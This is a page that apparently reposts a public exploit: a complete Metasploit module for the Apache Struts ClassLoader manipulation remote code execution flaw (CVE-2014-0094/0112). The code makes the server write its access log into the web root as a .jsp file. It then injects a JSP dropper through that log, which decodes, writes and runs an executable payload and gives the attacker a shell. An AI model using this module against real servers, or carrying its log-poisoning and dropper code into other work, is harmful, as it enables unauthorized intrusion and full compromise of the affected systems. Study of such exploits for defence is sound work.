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Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2014050014

Below is a copy:

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking # It's going to manipulate the Class Loader
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts
        versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows
        access to 'class' parameter which is directly mapped to getClass() method and
        allows ClassLoader manipulation, which allows remote attackers to execute arbitrary
        Java code via crafted parameters.
      },
      'Author'         =>
        [
          'Mark Thomas', # Vulnerability Discovery
          'Przemyslaw Celej', # Vulnerability Discovery
          'pwntester <alvaro[at]pwntester.com>', # PoC
          'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2014-0094'],
          ['CVE', '2014-0112'],
          ['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
          ['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html']
        ],
      'Platform'       => %w{ linux win },
      'Payload'        =>
        {
          'Space' => 5000,
          'DisableNops' => true
        },
      'Targets'        =>
        [
          ['Java',
           {
               'Arch'     => ARCH_JAVA,
               'Platform' => %w{ linux win }
           },
          ],
          ['Linux',
           {
               'Arch'     => ARCH_X86,
               'Platform' => 'linux'
           }
          ],
          ['Windows',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'win'
            }
          ]
        ],
      'DisclosureDate' => 'Mar 06 2014',
      'DefaultTarget'  => 1))
 
      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
        ], self.class)
  end
 
  def jsp_dropper(file, exe)
    dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
    eos
 
    dropper
  end
 
  def dump_line(uri, cmd = "")
    res = send_request_cgi({
      'uri'     => uri+cmd,
      'version' => '1.1',
      'method'  => 'GET',
    })
 
    res
  end
 
  def modify_class_loader(opts)
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path.to_s),
      'version' => '1.1',
      'method'  => 'GET',
      'vars_get' => {
        "class['classLoader'].resources.context.parent.pipeline.first.directory"      => opts[:directory],
        "class['classLoader'].resources.context.parent.pipeline.first.prefix"         => opts[:prefix],
        "class['classLoader'].resources.context.parent.pipeline.first.suffix"         => opts[:suffix],
        "class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
      }
    })
 
    res
  end
 
  def check_log_file(hint)
    uri = normalize_uri("/", @jsp_file)
 
    print_status("#{peer} - Waiting for the server to flush the logfile")
 
    10.times do |x|
      select(nil, nil, nil, 2)
 
      # Now make a request to trigger payload
      vprint_status("#{peer} - Countdown #{10-x}...")
      res = dump_line(uri)
 
      # Failure. The request timed out or the server went away.
      fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
 
      # Success if the server has flushed all the sent commands to the jsp file
      if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
        print_good("#{peer} - Log file flushed at http://#{peer}/#{@jsp_file}")
        return true
      end
    end
 
    false
  end
 
  # Fix the JSP payload to make it valid once is dropped
  # to the log file
  def fix(jsp)
    output = ""
    jsp.each_line do |l|
      if l =~ /<%.*%>/
        output << l
      elsif l =~ /<%/
        next
      elsif l.chomp.empty?
        next
      else
        output << "<% #{l.chomp} %>"
      end
    end
    output
  end
 
  def create_jsp
    if target['Arch'] == ARCH_JAVA
      jsp = fix(payload.encoded)
    else
      payload_exe = generate_payload_exe
      payload_file = rand_text_alphanumeric(4 + rand(4))
      jsp = jsp_dropper(payload_file, payload_exe)
      register_files_for_cleanup(payload_file)
    end
 
    jsp
  end
 
  def exploit
    prefix_jsp = rand_text_alphanumeric(3+rand(3))
    date_format = rand_text_numeric(1+rand(4))
    @jsp_file = prefix_jsp + date_format + ".jsp"
 
    # Modify the Class Loader
 
    print_status("#{peer} - Modifying Class Loader...")
    properties = {
      :directory      => 'webapps/ROOT',
      :prefix         => prefix_jsp,
      :suffix         => '.jsp',
      :file_date_format => date_format
    }
    res = modify_class_loader(properties)
    unless res
      fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
    end
 
    # Check if the log file exists and hass been flushed
 
    if check_log_file(normalize_uri(target_uri.to_s))
      register_files_for_cleanup(@jsp_file)
    else
      fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
    end
 
    # Prepare the JSP
    print_status("#{peer} - Generating JSP...")
    jsp = create_jsp
 
    # Dump the JSP to the log file
    print_status("#{peer} - Dumping JSP into the logfile...")
    random_request = rand_text_alphanumeric(3 + rand(3))
    jsp.each_line do |l|
      unless dump_line(random_request, l.chomp)
        fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
      end
    end
 
    # Check log file... enjoy shell!
    check_log_file(random_request)
 
    # No matter what happened, try to 'restore' the Class Loader
    properties = {
        :directory      => '',
        :prefix         => '',
        :suffix         => '',
        :file_date_format => ''
    }
    modify_class_loader(properties)
  end
 
end

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